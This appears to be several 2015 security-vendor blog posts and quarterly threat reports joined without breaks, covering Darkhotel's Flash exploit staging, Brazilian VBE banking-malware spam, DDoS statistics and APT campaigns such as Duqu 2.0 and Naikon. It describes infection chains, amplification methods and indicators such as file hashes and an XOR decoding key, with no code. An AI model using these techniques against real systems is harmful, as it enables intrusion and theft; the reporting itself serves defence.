Recently, the Darkhotel APT has maintained multiple working directories on this site.
It is the ims2 directory that is the most active. It contains a set of backdoors and exploits. The most interesting of these is the reported Hacking Team Flash 0day, icon.swf. In the days following the public mention of this server, the crew slowly tightened down open access to /ims2/. Either way, the contents continued to be actively used.
icon.swf (214709aa7c5e4e8b60759a175737bb2b) -> icon.jpg (42a837c4433ae6bd7490baec8aeb5091)
-> %temp%\RealTemp.exe (61cc019c3141281073181c4ef1f4e524)
After icon.jpg is downloaded by the flash exploit, it is decoded with a multi-byte xor key 0xb369195a02. It then downloads further components.
It’s interesting to note that the group appears to be altering the compilation and linker timestamps of its executable code to dates in 2013. We see this across multiple samples deployed and observed for the first time in mid-2015, including the icon.jpg downloader.
A log of visits to the site directory records that the directory was set up on July 8th. A handful of visits to a specific url on the server from five systems based in the following locations were recorded on the 8th and 9th. Several of these are likely to be Darkhotel APT targets:
- South Korea
- China (likely to be research)
However, one of those systems hammered the site on the 9th, visiting almost 12,000 times in 30 minutes. This volume of traffic is likely to represent a noisy scanning research attempt and not someone DoS’ing the site:
Recorded site visits following the 9th are likely to be unreliable and may be more researchers, responding to the growing notoriety of the site following the public reports on the 9th. Many of these approximately 50 visits come from a subset of the above systems and are repeated multiple times. Visits from the following locations occurred on or after the 10th:
- Germany (likely to be research)
- Ukraine (likely to be research)
- Amazon Web Services, multiple locations (likely to be research)
- Googlebot, multiple locations
- Ireland (likely to be research)
- France (likely to be research)
- Czech Republic
The Darkhotel group tends to stick with what works. For example, for years we saw repeated use of spearphishing targets directly with .hta files. Now, as with the tisone360.com site above, we have seen repeated use in 2015 of a creative chain of delivery sets.
downloader -> hta checkin -> info stealer -> more compiled components.
dropper -> wsh script -> wsh script -> info stealer -> more compiled components
spearphish -> dropper -> hta checkin -> downloader -> info stealer
While a chain of delivery that includes obfuscated scripts within .hta files occurred as far back as 2011, the volume appears to have picked up in 2014 and now 2015.
The group is now more vigilant in maintaining its sites, tightening up configuration and response content. Right now, its c2 responds with anti-hero images of “Drinky Crow” from the alt Maakies cartoon:
Other Darkhotel c2s tend to blend in with random sites on the web when incorrect or missing pages are visited. They are ripping images either from FOTOLIA or articles on artisanal ice cream makers here:
39562e410bc3fb5a30aca8162b20bdd0 (first seen late 2014, used into 2015)
e85e0365b6f77cc2e9862f987b152a89 (first seen late 2014, used into 2015)
CVE-2014-0497 – A 0-day Vulnerability
Hacking Team Flash Zero-Day Tied To Attacks In Korea and Japan… on July 1
The Darkhotel APT
Old tricks never die, and bad guys know that. We recently saw a big wave of malicious VBE files targeting Brazilian users, distributed via email messages. Most of the files are downloaders which, after they are executed, try to install a series of badness that goes from traditional banking Trojans to RATs to Boleto malware.
The attack started with messages like the one below, with a .ZIP file attached to the message. Some messages show only links to download the VBE file directly, using a variety of topics, such as the release of Windows 10. As you can see, the file is very small (less than 1KB) but inside is where the badness lives:
This message was sent to “Malicioso”, a mailbox where our Latin American users can send suspicious content
It’s interesting to see how mail servers still don’t block this kind of file attached to messages – all the bad guys need to do is to put the malicious file inside a ZIP or RAR and magically the message will arrive in the user’s mailbox:
Yes, Outlook.com still accept VBE/VBS files inside a ZIP
Not surprisingly the VBE file attached to the ZIP file is encoded:
Bad guys are using all kinds of encoding, in an effort to avoid detection by AV products – although most are using simple Base64 provided by Motobit software. Some are also using a commercial encoding solution, even using a demo copy:
After decoding the file we can see their real intention; this one downloads and installs Boleto malware, which is very typical for Brazil:
These malware families are detected by our product using two verdicts. Recently there has been a big increase in both in Brazil, as illustrated by the numbers for Trojan-Downloader.VBS.Agent:
And there were almost 12,000 detection of Trojan-Downloader.VBS.Banload in just one day:
Looking at our stats worldwide, we can see that Brazil, Portugal and Spain are the most attacked countries by the VBS.Banload family this month. Not surprisingly, Brazil always leads all the rankings regarding Banking Trojan infections, even where they use a very old technique. The reason why the bad guys decide to use this is because they are still effective for some users.
Our users are protected against this kind of attack: our heuristic detection blocks most of them. Here are some MD5s of the files we detect: http://pastebin.com/Qpb6v6PQ
Blackhat and Defcon 2015 are being held in Las Vegas this year in the Mandalay Bay and Paris hotels, with 9,000 people in Blackhat attendance and more at Defcon. While attending Blackhat is far more expensive, you are almost assured a spot at the talks you intend on attending. At Defcon, it appears that most attendees have been assured to wait in line to miss most of the talks they are interested in, with other folks yelling about it in the halls. The Defcon organizers chose a new venue for the conference this year, and it needs to be fixed.
Blackhat had another fantastic lineup with some mind-blowing content, as in previous years. A wide range of topics were presented this year and we found several very interesting. You already may find tools on github and papers and slides for many the presentations on blackhat.com. We can expect videos of these talks on youtube in the near future. The Defcon organizers will upload a torrent of the talks as they have done in previous years:
- four of the talks revolved around hypervisor implementations and related content, including strengths and weaknesses of current and upcoming Windows10 security architecture dependent on the hypervisor and system firmware. Pass-the-hash and golden and silver ticket defenses, Windows 10 Credential Guard and other services are all built on assumptions of a trusted boot
- industrial PLC code injection with STL SOCKS proxy code and STL SNMP scanner for full industrial network compromise, abusing internet facing PLCs
- unpatchable global vulnerabilities in the Globalstar GPS simplex satcom protocol, affecting military, SCADA networks, first response communications and transportation
- a new class of escalation of privilege x86 ring -2 vulnerabilities only fixed in 2013+ intel processors, leaving 100,000,000’s that cannot be fixed
Of course, the hallway track is often as valuable as attending the talks themselves.
Due to the high demand for Windows 10, Microsoft is releasing it gradually. This especially applies to certain countries. The official Microsoft Brazil website confirms it (left image). Cybercriminals from Brazil have taken advantage of this and are running a spam campaign identical to the official design offering a fake option for users to “get your copy now”. (right image)
When the victim clicks on “Instalador Windows 10″ (Windows 10 Installer), it downloads to the system encoded VBE script:
This is a base64 encoded script, using legit Motobit software for encoding:
Once running, it drops the main trojan-spy component into the system. They also use funny Brazilian portuguese slang right inside of the code.
The dropped main banker module contains functionality to steal data from keystrokes and the clipboard. Additionally, it has backdoor capabilities for remote sessions and several anti-VM, debugging techniques.
Kaspersky Anti-Virus detects the initial VBE script as Trojan-Downloader.VBS.Agent.aok
Recently we noticed a big increase of VBS/VBE malware in Brazil, my colleague Fabio Assolini is working on a blogpost about a VBE malware widely spread in Brazil now.
Kaspersky Lab has an acknowledged, long-standing expertise in counteracting DDoS attacks of different types, varying degrees of complexity and strength. This is combined with Kaspersky Lab’s real-time expert monitoring of botnet activities with the help of its DDoS Intelligence system (part of the solution Kaspersky DDoS Protection) and secures the company’s cutting-edge reputation in DDoS protection.Q2 events
Of all Q2 2015 events in the world of DDoS attacks and tools with which to launch them, we picked out those which, in our opinion, best illustrate the main trends with which these threats evolve. Cybercriminals do the following:
- Invent and use new techniques aimed at launching more powerful attacks without increasing botnet sizes;
- Create botnets of devices connected to the Internet, and use them to carry out DDoS attacks;
- Develop DDoS modules for malware toolkits with which to carry out targeted attacks.
In March, Kaspersky Lab’s experts published the results of their research of APT attacks launched by a cybercriminals’ group dubbed Animal Farm. The cybercriminals used a number of malicious components, each one performing a specific task. One of these components was the Trojan NBot, which is designed to arrange a botnet and has the functional capability to carry out DDoS attacks. NBoT maintains a large number of distributed attack scenarios – this is evidence that the botnet has been arranged by the cybercriminals to launch large-scale DDoS attacks.Another way to boost the power of a DDoS attack
Some scenarios rely on the exploitation of shortfalls in the configurations of various network services. These scenarios have already established their position in the repertory of techniques used by botnet owners. In Q2 2015, researchers identified another trick for boosting the power of a DDoS attack – exploiting the shortcomings in the configuration of software implementations of the multicast Domain Name System (mDNS) protocol. Under certain conditions, a service using the mDNS protocol may return a response much greater in size than the query. Thus, botnet owners can send a specially crafted query to such services, and the services would redirect it to the victim user in a much greater quantity.The “Great Cannon”
The “Great Cannon” is a technology that was used to carry out the DDoS attack on GitHub. On 6 March, the owners of the website GreatFire.org noticed that their servers had become the target of a DDoS attack. The GitHub owners acknowledged it was a powerful DDoS attack from the servers of the search engine Baidu.
The administration of the search engine ruled out the possibility that their servers were compromised. This occasioned researchers to contemplate an attack scenario involving the use of the resources of the Great Firewall of China. This firewall was presumably used as a tool with which to implement a man-in-the-middle (MitM) attack, and redirected Chinese visitors to the attacked web resource.
This incident is yet another demonstration that not only a botnet, but just a great number of unwitting users may be the source of DDoS attacks.A botnet made of routers
In Q2, a botnet was detected that was made of home and small-business routers – cybercriminals used it to launch DDoS attacks.
Infecting home routers is not a new technique, it is often used by cybercriminals. Ensuring the security of home communications equipment has so far remained the responsibility of its manufacturer. As practice shows, a considerable number of vulnerabilities and configuration shortcomings exist, allowing cybercriminals to seize control over routers. In this incident, the bad guys used the victim routers to launch DDoS attacks.
For cybercriminals, the option of creating botnets made of routers looks quite attractive. For these devices, it is simple to implement automated tools with which to exploit vulnerabilities; this makes the cybercriminals’ task substantially easier. In addition, very few users turn their routers off, so devices that are always on help build larger bots with members that are online pretty much all of the time.Statistics of botnet-assisted DDoS attacks Methodology
This report presents statistics collected by DDoS Intelligence (part of the solution Kaspersky DDoS Protection) from 1 April to 31 June 2015 (or Q2 2015), which are analyzed in comparison with the equivalent data collected within the previous 3-month period (Q1 2015).
The DDoS Intelligence system is designed to intercept and analyze the commands to bots from command and control (C&C) servers. For its operation, it does not require any user device to get infected, or cybercriminal commands to be in fact executed.
In this report, a single (separate) DDoS attack is defined as an incident during which there was no break in botnet activity lasting longer than 24 hours. Thus, if the same web resource was attacked by the same botnet after a 24-hour gap that would be regarded as two separate DDoS attacks. Attacks on the same web resource from two different botnets are also regarded as individual attacks.
The geographical distribution of DDoS victims and C&C servers is determined according to their IP addresses. In this report, the number of DDoS targets is calculated based on the number of unique IP addresses reported in the quarterly statistics.
It is important to note that DDoS Intelligence statistics are limited to those botnets that were detected and analyzed by Kaspersky Lab. It should also be highlighted that botnets are only one of the tools used to carry out DDoS attacks; thus, the data presented in this report does not cover every DDoS attack that has occurred within the specified time period.Q2 Summary
- In Q2 2015, botnet-assisted DDoS attacks targeted victims in 79 countries across the world.
- 77% of botnet-assisted attacks targeted resources located in 10 countries.
- The largest numbers of DDoS attacks targeted victims in China and the USA. South Korea has risen to the third place.
- The longest DDoS attack in Q2 2015 lasted for 205 hours (or 8.5 days).
- SYN DDoS and TCP DDoS and were the most common scenarios of DDoS attacks. HTTP DDoS was displaced to the third position.
In Q2, the geography of attacked targets has somewhat expanded as compared to Q1: attacked targets were located in 79 countries around the world (against 76 countries in Q1 2015). 71.9% of attacked resources were located in 10 countries.
Distribution of unique DDoS attack targets by country, Q2 vs Q1 2015
The list of TOP 10 countries has changed only slightly (Croatia has joined, the Netherlands has left). As before, China (29.9%) and the USA (17.2%) lead the ranking; and South Korea (9.8%) has risen from the sixth to the third place, displacing Canada.
If we look at the number of reported attacks, 77.6% of all attacks had targets within the same TOP 10 countries:
Distribution of DDoS attack by countries, Q2 vs Q1 2015
This ranking is also led by China (35.3%) and the USA (17.4%).
As seen in the above charts, China has lost some of its presence in both rankings against Q1; but the shares of the USA and South Korea have increased.
Most of the world’s web resources are located in the USA and China – where there is cheap web hosting available. This explains their long-standing leadership in the rankings in terms of attack counts and the number of attacked targets.
In Q2 we observed a surge in the activity of several families of bots – they mostly attacked targets in South Korea. As a result, this country has risen to the third place in both rankings.
It is also worth mentioning that Russia and Canada have experienced lower percentages in Q2. This is especially noticeable if we look at the percentage of all attacks that targeted these two countries.Changes in DDoS attack numbers
There was a dramatic rise in the number of DDoS attacks in the first week of May; the low was in late June.
The peak number of attacks in one day was 1960, which were recorded on 7 May. The low was on 25 June, which saw only 73 attacks.
Number of DDoS attacks over time* in Q2 2015.
*DDoS attacks may last for several days. In this plot, the same attack may be counted several times, i.e. one time for each day of its duration.
In Q2 2015, Sunday became the most active day of the week in terms of DDoS attack numbers – 16.6% of all attacks occurred on a Sunday. The lowest number of attacks were reported on Tuesdays.
Distribution of DDoS attack numbers by days of the week
On Sunday 3 May, we observed a sudden surge in the activity of one of the botnets. This suggests that on that day, the cybercriminals were possibly testing their botnet.Types and duration of DDoS attacks
The effect of a DDoS attack is determined by its duration and scenario – these two elements define the scope of damage inflicted on the target.
In Q2 2015, 98.2% of DDoS targets (vs. 93.2% in Q1) were attacked by bots belonging to one family. In only in 1.7% of all cases the cybercriminals launched attacks using bots belonging to two different families (or the clients used the services of several attack agents). In 0.1% cases, three or more bots were used (respectively 6.2% and 0.6% in Q1).
In Q2 2015, SYN DDoS (50.3%) has remained the most popular attack method. TCP DDoS (21.2%) has returned to the second position in the ranking, displacing HTTP DDOS (13.8%).
The distribution of DDoS attacks by types
Most attacks in Q2 2015 lasted no longer than 24 hours. However, there were some attacks that lasted a week or even longer.
The distribution of DDoS attacks by duration (hours)
The longest DDoS attack in Q2 2015 lasted for 205 hours (8.5 days).Command and control servers and botnet types
In Q2 2015, South Korea (34%) spurted into the lead in terms of the number of C&C servers located in its territory, leaving behind the USA (21%), China (14%) and the United Kingdom (7%). This was accompanied by a dramatic increase in the number of attacks and targets located in South Korea.
Distribution of botnet C&C servers by countries in Q2 2015
In Q2 2015, there was a dramatic growth in the number of attacks launched from bots for Windows computers. The activity of Windows bots has significantly surpassed that of Linux bots.
The ratio of the number of attacks launched from Windows and Linux botnets
The balance between the activities of Linux and Windows botnets changes all the time, since each botnet type has its advantages and disadvantages in the eyes of cybercriminals.
Linux-based botnets offer cybercriminals the opportunity to manipulate network protocols, while infected servers have high-speed Internet channels (so attacks launched from them are potentially more powerful than those from Windows botnets). However, to create and operate a Linux botnet, a cybercriminal needs to have a good knowledge of Linux as well as find a suitable bot on the black market or in free access.
Windows bots are widely available both on the black market and in free access; they are marketed using tried-and-true tools. On the other hand, malware protection is also well developed on PCs (unlike on infected Linux servers, which typically lack any security whatsoever), so botnets don’t typically live long on infected PCs.
Thus, it is easier and cheaper to use Windows bots but such a botnet does not typically last long. When there are many Windows botnets, their total attacking capacity exceeds that of infected Linux servers.Complex attacks
The clients ordering DDoS attacks on large organizations are typically ready to pay well to see their goal achieved, so such attacks are well organized and technically complex.
While repelling one attack, Kaspersky DDoS Protection experts identified four methods employed by the attackers:
- A powerful NTP amplification;
- SSDP amplification – a relatively recent method but gaining in popularity;
- SYN flood;
- HTTP flood.
All these methods were used simultaneously and targeted several infrastructure components:
- NPT amplification and SSDP amplification attacks cause overloading of data communication channels with spurious traffic.
- SYN flood attacks target the infrastructure, create high load on firewalls and exhaust the resources of the operating system.
- HTTP flood most efficiently affects the target web server by creating a surge of requests, responding to which induces the web server to draw on a lot of hardware resources.
Should any of these components have achieved their goal, the attack would have been successful. If that had happened, the targeted organization would have suffered dramatic financial and serious reputational losses. However, it took the attackerss 20 minutes to convince themselves that the target was reliably protected, after which they the ceased the attack.
That was the most powerful of all attacks that KDP experts came across in Q2 – its peak capacity was 92 Gbit/sec. Such powerful attacks pose a threat not only to specific web resources but also to the data centers hosting them and to the infrastructures of Internet service providers, since the communication channels of upstream providers and data centers may become exhausted before the Internet channel of the actual web resource.Conclusion
In Q2 2015, more than 77% of botnet-assisted attacks targeted web resources in ten countries across the world. The top two countries in the ranking – China and the USA – have retained their positions. The monitoring system has recorded a surge in the activity of several bot families whose targets were mostly located in South Korea – this explains the third position in the ranking this country takes in Q2.
Let us focus on the technologies carrying out these attacks. Cybercriminals who create DDoS botnets, along with creating regular botnets consisting of PCs and servers, also invest into creating botnets made of network devices – most typically routers and DSL modems. Obviously, the expansion of IoT devices and the current situation around their security adds extra impetus to the development of this type of botnet.
Cybercriminals continue to exhibit a growing persistence in carrying out DDoS attacks. In Q2, attacks lasting up to 8.5 days were observed. That said, even one short-term attack may inflict serious damage to a business both in terms of direct financial loss and reputational loss.
DDoS attacks often serve as a camouflage for a targeted attack, which could result in leaks of important data or stolen money. The DDoS module detected by Kaspersky Lab’s experts is part of the toolkit employed by the cybercriminal group Animal Farm; once again demonstrating the fact that DDoS attacks are an effective tool for cybercriminals.
All kinds of organizations become targets of DDoS attacks. Customers protecting themselves with the services of Kaspersky DDoS Protection experts include: state organizations, large financial companies and banks, mass media, small and medium businesses and even education institutions.
To protect an organization reliably from this type of threat, the organization needs to consider its defense strategy and tactics, take all required actions, and subscribe to a junk traffic filtration service. Bear in mind that when an attack starts, it will be much more difficult to escape the losses.
- According to KSN data, Kaspersky Lab solutions detected and repelled a total of 379,972,834 malicious attacks from online resources located all over the world.
- Kaspersky Lab’s web antivirus detected 26,084,253 unique malicious objects: scripts, exploits, executable files, etc.
- 65,034,577 unique URLs were recognized as malicious by web antivirus components.
- 51% of web attacks neutralized by Kaspersky Lab products were carried out using malicious web resources located in Russia.
- There were 5,903,377 registered notifications about attempted malware infections aiming at stealing money via online access to bank accounts.
- Kaspersky Lab’s file antivirus detected a total of 110,731,713 unique malicious and potentially unwanted objects.
- Kaspersky Lab mobile security products detected
- 1,048,129 installation packages;
- 291,887 new malicious mobile programs;
- 630 mobile banker Trojans.
Recently we published our analysis of CozyDuke, yet another cyber-espionage APT from the ‘Duke’ family – which also includes MiniDuke, CosmicDuke and OnionDuke. CozyDuke (also known as ‘CozyBear’, ‘CozyCar’ and ‘Office Monkeys’) targets government organisations and businesses in the US, Germany, South Korea and Uzbekistan.
The attack implements a number of sophisticated techniques, including encryption, anti-detection capabilities and a well-developed set of components that are structurally similar to earlier threats within the ‘Duke’ family.
However, one of CozyDuke’s most notable features is its use of social engineering to get an initial foothold in targeted organisations. Some of the attackers’ spear-phishing emails contain a link to hacked web sites – including high-profile, legitimate sites – that host a ZIP archive. This archive contains a RAR SFX that installs the malware while showing an empty PDF as a decoy. Another approach is to send out fake flash videos as email attachments. A notable example (which also gives the malware one of its names) is ‘OfficeMonkeys LOL Video.zip’. When run, this drops a CozyDuke executable on to the computer, while playing a ‘fun’ decoy video showing monkeys working in an office. This encourages victims to pass the video around the office, increasing the number of compromised computers.
It is necessary to make staff education a core component of any business security strategy #KLReportTweet
The successful use of social engineering to trick staff into doing something that jeopardises corporate security – by CozyDuke and many other targeted attackers – underlines the need to make staff education a core component of any business security strategy.Naikon: gathering geo-political intelligence
In May we published our report on the Naikon APT. Naikon is used in campaigns against sensitive targets in South-eastern Asia and around the South China Sea. The attackers seem to be Chinese-speaking and have been active for at least five years, focusing their attention on top-level government agencies and civil and military organizations in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, Nepal, Thailand, Laos and China.
As with so many campaigns of this kind, the attackers use spear-phishing emails to trick unsuspecting staff into loading the malware. Emails include an attached file containing information likely to be of interest to the victim. The file seems to be a standard Word document, but it is really an executable with a double extension, or an executable that uses the RTLO (right to left override) mechanism to mask the real extension of the file. If the victim clicks on the file, it installs spyware on the computer while displaying a decoy document to avoid arousing suspicion.
The attackers use spear-phishing emails to trick staff into loading malware #KLReportTweet
Naikon’s main module is a remote administration tool: this module supports 48 commands to exercise control over infected computers. These include commands to take a complete inventory, download and upload data, and install add-on modules. In addition, Naikon sometimes uses keyloggers to obtain employees’ credentials.
Each target country is assigned its own operator, who is able to take advantage of local cultural features – for example, the tendency to use personal email accounts for work. They also made use of a specific proxy server within a country’s borders, to manage connections to infected computers and transfer data to the attackers’ Command-and-Control (C2) servers.
While researching Naikon, we uncovered the activities of the Hellsing APT group. This group focused mainly on government and diplomatic organisations in Asia – most victims are located in Malaysia and the Philippines, although we have also seen victims in India, Indonesia and the US.
In itself, Hellsing is a small and technically unremarkable cyber-espionage group (around 20 organisations have been targeted by Hellsing). What makes it interesting is that the group found itself on the receiving end of a spear-phishing attack by the Naikon APT group – and decided to strike back! The target of the email questioned the authenticity of the email with the sender. They subsequently received a response from the attacker, but didn’t open the attachment. Instead, shortly afterwards they sent an email back to the attackers that contained their own malware. It’s clear that, having detected that they were being targeted, the Hellsing group was intent on identifying the attackers and gathering intelligence on their activities.
Hellsing found itself on under a spear-phishing attack by the Naikon APT group – and struck back #KLReportTweet
In the past, we’ve seen APT groups accidentally treading on each other’s toes – for example, stealing address books from victims and then mass-mailing everyone on each of the lists. But an ATP-on-APT attack is unusual.Grabit and run
Many targeted attack campaigns focus on large enterprises, government agencies and other high-profile organisations. So it’s easy to read the headlines and imagine that such organisations are the only ones on the radar of the attackers. However, one of the campaigns we reported last quarter showed clearly that it’s not only ‘big fish’ that attackers are interested in. Every business is a potential target – for its own assets, or as a way of infiltrating another organisation.
The Grabit cyber-espionage campaign is designed to steal data from small- and medium-sized organisations – mainly based in Thailand, Vietnam and India, although we have also seen victims in the US, UAE, Turkey, Russia, China, Germany and elsewhere. The targeted sectors include chemicals, nanotechnology, education, agriculture, media and construction. We estimate that the group behind the attacks has been able to steal around 10,000 files.
The malware is delivered in the form of a Word document attached to an email. The document contains a malicious macro named ‘AutoOpen’. This macro opens a socket over TCP and sends an HTTP request to a remote server that was hacked by the group to serve as a malware hub. Then the program used to carry out the spying operation is downloaded from this server. In some cases, the macro is password protected (the attackers seem to have forgotten that a DOC file is actually an archive; and when it’s opened in an editor, macro strings are shown in clear-text). The attackers control compromised computers using a commercial spying tool called HawkEye (from HawkEyeProducts). In addition, they use a number of Remote Administration Tools (RATs).
The attackers have implemented some techniques designed to make Grabit hard to analyze,, including variable code sizes, code obfuscation and encryption. On the other hand, they fail to cover their tracks in the system. The result is a ‘weak knight in heavy armor’, suggesting that the attackers didn’t write all the code themselves.The return of Duqu
In spring 2015, during a security sweep, Kaspersky Lab detected a cyber-intrusion affecting several internal systems. The full-scale investigation that followed uncovered the development of a new malware platform from one of the most skilled, mysterious and powerful groups in the APT world – Duqu, sometimes referred to as the step-brother of Stuxnet. We named this new platform ‘Duqu 2.0′.
The malware platform was designed to survive almost exclusively in the memory of infected systems. #KLReportTweet
In the case of Kaspersky Lab, the attack took advantage of a zero-day vulnerability in the Windows kernel (patched by Microsoft on 9 June 2015) and possibly up to two others (now patched) that were also zero-day vulnerabilities at the time. The main goal of the attackers was to spy on Kaspersky Lab technologies, ongoing research and internal processes.
However, Kaspersky Lab was not the only target. Some Duqu 2.0 infections were linked to the P5+1 events related to negotiations with Iran about a nuclear deal. The attackers appear to have launched attacks at the venues for some of these high-level talks. In addition, the group launched a similar attack related to the 70th anniversary event of the liberation of Auschwitz-Birkenau.
One of Duqu 2.0’s most notable features was its lack of persistence, leaving almost no traces in the system. The malware made no changes to the disk or system settings: the malware platform was designed in such a way that it survives almost exclusively in the memory of infected systems. This suggests that he attackers were confident that they could maintain their presence in the system even if an individual victim’s computer was re-booted and the malware was cleared from memory.
In April, Kaspersky Lab was involved in the take-down of the Simda botnet, co-ordinated by the Interpol Global Complex for Innovation. The investigation was started by Microsoft and expanded to other participants, including Trend Micro, the Cyber Defense Institute, officers from the Dutch National High Tech Crime Unit (NHTCU), the FBI, the Police Grand-Ducale Section Nouvelles Technologies in Luxembourg, and the Russian Ministry of the Interior’s Cybercrime Department “K” supported by the INTERPOL National Central Bureau in Moscow.
As a result of the operation, 14 servers in the Netherlands, the US, Luxembourg, Poland and Russia were taken down. Preliminary analysis of some of the sink-holed server logs revealed 190 countries that had been affected by the botnet.
Preliminary analysis revealed 190 countries that had been affected by the Simda botnet. #KLReportTweet
The bots are distributed via a series of infected web sites that re-direct visitors to exploit kits. The bots download and run additional components from their own update servers and are able to modify the hosts file on the infected computer: in this way, once-infected computers can keep sending out HTTP requests to the malicious servers, indicating that they are still vulnerable to re-infection using the same exploit kits.
Although the Simda botnet is relatively large, with an estimated 770,000 infected computers, the authors went to great lengths to try and make it ‘fly under the radar’ of anti-malware systems. The malware is able to detect emulation, security tools and virtual machines; it uses a number of methods to detect research sandbox environments with a view to tricking researchers by consuming all CPU resources or notifying the botnet owner about the external IP address of the research network; and it implements server-side polymorphism.
Simda also de-activates itself after a short time. This is closely related to the purpose of this particular botnet: it’s a delivery mechanism, designed to disseminate potentially unwanted and malicious software. The distributors wanted to guarantee that only their client’s malware would be installed on infected computers.
Kaspersky Lab products currently detect hundreds of thousands of modifications of Simda, together with many different third-party malicious programs distributed using the Simda botnet. You can use our free Simda bot IP scanner to check if your IP has connected to a Simda C2 server in the past.Phishing, but not as we know it
Early in 2014 a serious vulnerability in the OAuth and OpenID protocols was discovered by Wang Jing, a PHD student at the Nanyang Technological University in Singapore. He found what he named the ‘covert redirect’ vulnerability, which could allow an attacker to steal data following authentication (a summary of the problem, including a link to Jing’s blog, can be found on Threatpost).
Recently, we discovered a phishing campaign that takes advantage of the OAuth vulnerability. OAuth lets customers of online services give third parties limited access to their protected resources without sharing their credentials. It is commonly used by applications for social networks – for example, to obtain access to someone’s contact lists or other data.
The Kaspersky Lab customer who reported the attack received an email saying that someone had used their Windows Live ID and asking them to follow a link to the Windows Live site and follow the security requirements outlined there.
Do not allow untrusted applications to access your data #KLReportTweet
On the face of it, it seems like a standard phishing technique – one that would result in the victim being re-directed to a fake site. But in this case, the link led to the legitimate site. The victim’s login credentials aren’t stolen and they are logged in to the legitimate site. However, after authorization, the victim receives a request for a range of permissions from an unknown application. This can include automatic login, access to profile information, contact list and email addresses. If the victims hands over these rights, it offers the cybercriminals access to their personal information – information that they can use to distribute spam, phishing links or for other fraudulent purposes.
We would recommend the following to safeguard your personal data.
- Do not click on links you receive by email or in messages on social networks.
- Do not allow untrusted applications to access your data.
- Before you agree to such requests, carefully read the description of the access rights being requested by an application
- Read reviews and feedback on the application on the Internet.
- Review the rights of currently installed applications and modify the settings if you need to.
The use of CCTV systems by governments and law enforcement agencies for surveilling public places has grown enormously in recent years. Most of us accept them as a reasonable trade-off between privacy and security. However, this rather assumes that the data gathered using this technology will be handled securely and responsibly, to ensure that the benefits aren’t outweighed by any potential dangers.
Many CCTV cameras have a wireless connection to the Internet, enabling police to monitor them remotely. However, this is not necessarily secure: it’s possible for cybercriminals to passively monitor security camera feeds, to inject code into the network – thereby replacing a camera feed with fake footage – or to take systems offline. Two security researchers (Vasilios Hioureas from Kaspersky Lab and Thomas Kinsey from Exigent Systems) recently conducted research into the potential security weaknesses in CCTV systems in one city. You can read Vasilios’s report on our web site).
Aspects of life are being made digital & security should be considered as part of the design stage #KLReportTweet
The researchers started by looking at the surveillance equipment in locations across the city. Unfortunately, there had been no attempt to mask the branding of the cameras, so it was easy to determine the makes and models of the cameras, examine the relevant specs and create their own scale model in the lab. The equipment being used provided effective security controls, but these controls were not being implemented. Data packets passing across the mesh network were not being encrypted, so that an attacker would be able to create their own version of the software and manipulate data travelling across it.
It’s important to note that they did not attempt to hack into the real network, but analyzed the hardware and communication protocols and built a scale model. The network topology of the surveillance camera network is unlike a standard home wireless network. On a home network, all devices connect to the Internet and one another through a router. Any device connected to that router could potentially trick the other devices into thinking it’s the router and monitor or change data by performing a Man-in-the-Middle attack.
The surveillance camera network is more complicated, because of the distances the data needs to travel. The data must travel from any given camera through a series of nodes eventually leading back to a hub (in a real world implementation, this might be a police station). The traffic follows the path of least resistance where each node has the ability to communicate with several others and selects the easiest path back to the hub.
Hioureas and Kinsey built a series of fake nodes that purported to offer a direct line of communication to a simulated police station. Since they knew all the protocols used on the network, they were able to create a Man-in-the-Middle node that seemed to offer the path of least resistance, causing the real nodes to relay their traffic through their malicious node.
One potential use for attackers would be to spoof footage sent to a police station. This could make it appear as if there was an incident in one location, thereby distracting police from a real attack occurring elsewhere in the city.
The researchers reported these issues to the authorities responsible for the city surveillance systems concerned and they are in the process of fixing the security problems. In general, it’s important that WPA encryption, protected by a strong password, is implemented in these networks; that labelling is removed from hardware, to make it harder for would-be attackers to find out how the equipment operates; and that footage is encrypted as it travels through the network.
The wider issue here is that more and more aspects of everyday life are being made digital: if security isn’t considered as part of the design stage, the potential dangers could be far-reaching – and retro-fitting security might not be straightforward. The Securing Smart Cities initiative, supported by Kaspersky Lab, is designed to help those responsible for developing smart cities to do so with cyber-security in mind.Statistics
All the statistics used in this report were obtained using the Kaspersky Security Network (KSN), a distributed antivirus network that works with various anti-malware protection components. The data was collected from KSN users who agreed to provide it. Millions of Kaspersky Lab product users from 213 countries and territories worldwide participate in this global exchange of information about malicious activity.Mobile threats
Mobile banker Trojans still remain among the top mobile threats. In our Q1 2015 report, we mentioned Trojan-SMS.AndroidOS.OpFake.cc, which could attack at least 29 banking and financial applications. The latest version of this Trojan can now attack 114 banking and financial applications. Its main goal is to steal the user’s online credentials. Serving the same purpose, it also attacks several popular email applications.
Trojan-Spy.AndroidOS.SmsThief.fc also deserves a mention. Cybercriminals managed to add their code into the original banking application without affecting its operation, making this Trojan more difficult to detect.
The latest version of Trojan-SMS.AndroidOS.Opfake.cc can now attack 114 banking and financial applications. #KLReportTweet
A new iOS Trojan, Trojan.IphoneOS.FakeTimer.a, emerged in Q2. It is interesting in that it is an iOS version of a malicious Android app which emerged several years ago. FakeTimer.a attacks even non-jailbroken devices. Its payload is rather primitive: it is a regular phishing application created to steal money from Japanese users.
In Q2, Trojans which can use root privileges to display advertisements to users or install advertising applications became especially visible. A total of six such malicious programs landed in the Q2 TOP 20 of malicious malware.The number of new mobile threats
In Q2 2015, Kaspersky Lab mobile security products detected 291,887 new malicious mobile programs, a 2.8-fold increase on Q1 2015.
Kaspersky Lab mobile security products detected 291,887 new malicious mobile programs #KLReportTweet
The number of installation packages detected was 1,048,129 – this is seven times as many as in the previous quarter.
Number of malicious installation packages and new malicious mobile programs detected (Q4 2014 – Q2 2015)Distribution of mobile malware by type
Distribution of new mobile malware by type, Q2 2015
The ranking of malware objects for mobile devices for the second quarter of 2015 was headed by RiskTool (44.6%). These are legitimate applications that are potentially dangerous for users – if used carelessly or manipulated by a cybercriminal, they could lead to financial losses.
Potentially unwanted advertising apps came second with 19%.
SMS Trojans have previously led this ranking, but in Q2 they were only in the fourth place with 8.1% – this is 12.9% lower than in Q1. The lower share taken by these malicious programs is in part accounted for by the fact that those who were previously active distributing SMS Trojans have started using ‘cleaner’ monetization techniques (as testified by the increased RiskTool shares), or prefer to use other types of malware. Thus the Trojan share increased from 9.8% in Q1 to 12.4% in Q2.Top 20 malicious mobile programs
